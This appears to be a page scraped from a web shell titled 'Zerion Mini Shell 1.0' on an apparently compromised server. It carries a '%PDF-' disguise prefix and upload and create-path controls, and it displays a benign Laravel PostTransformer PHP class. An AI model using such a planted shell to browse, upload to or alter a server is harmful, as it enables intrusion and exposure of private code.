%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api_internal/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api_internal/app/Transformers/PostTransformer.php

<?php

namespace App\Transformers;

use App\Models\Post;

class PostTransformer extends BaseTransformer
{
    protected $availableIncludes = [
        'country',
        'category',
        'categories',
    ];

    protected $defaultIncludes = [
        'author',
        'media',
    ];

    public function includeCountry(Post $post)
    {
        return $this->item($post->country, new CountryTransformer, 'country');
    }

    public function includeCategory(Post $post)
    {
        return $this->item($post->category, new CategoryTransformer, 'category');
    }

    public function includeCategories(Post $post)
    {
        return $this->collection($post->categories, new CategoryTransformer, 'category');
    }

    public function includeAuthor(Post $post)
    {
        return $this->item($post->author, new UserTransformer, 'user');
    }

    public function includeMedia(Post $post)
    {
        return $this->collection($post->getCarouselImages(), new MediaTransformer, 'media');
    }

    /**
     * @param Post $post
     *
     * @return array
     */
    public function transform(Post $post)
    {
        return [
            'id'               => $post->id,
            'title'            => $post->title,
            'short_desc'       => $post->short_desc,
            'content'          => $post->content
                ?: '',
            'country_id'       => $post->country_id,
            'read_count'       => $post->read_count,
            'category_id'      => $post->category_id,
            'status'           => $post->status,
            'can_be_published' => $post->canBePublished(),
            'video_url'        => $post->video_url,
            'video_type'       => $post->video_type
                ?: '',
            'available_in'     => $post->translations()
                                       ->get()
                                       ->pluck('locale'),
            'featured_image'   => $post->getFeaturedImage(),
            'published_at'     => $post->published_at,
            'created_at'       => $post->created_at,
            'updated_at'       => $post->updated_at,
        ];
    }
}

Zerion Mini Shell 1.0